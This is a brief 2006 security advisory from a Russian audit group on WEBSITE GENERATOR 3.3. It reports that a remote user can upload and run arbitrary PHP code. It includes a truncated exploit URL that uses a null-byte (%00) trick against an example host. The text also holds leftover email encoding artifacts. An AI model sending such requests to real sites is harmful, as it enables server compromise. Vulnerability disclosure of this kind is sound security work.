Advisory:
NSAG-=B9202-25.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
WEBSITE GENERATOR 3.3


Site of manufacturer:
http://freehostshop.com

The status:=20
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is not notified (there is no communication).
17/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/894.html

Risk:=20
Hide

Description:=20
The removed user, can upload php script from other server and execute
custom php code on webserver.


Exploit:=20
Method GET:
http://example.com/files/myforms/pro...k.php%00*name=
[0]=3D
Link:
http://example.com/files/myforms/forms/attack.php

More information:
http://www.nsag.ru/vuln/894.html

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++


www.nsag.ru=20
=ABNemesis=BB =A9 2006=20
------------------------------------=20
Nemesis Security Audit Group =A9 2006.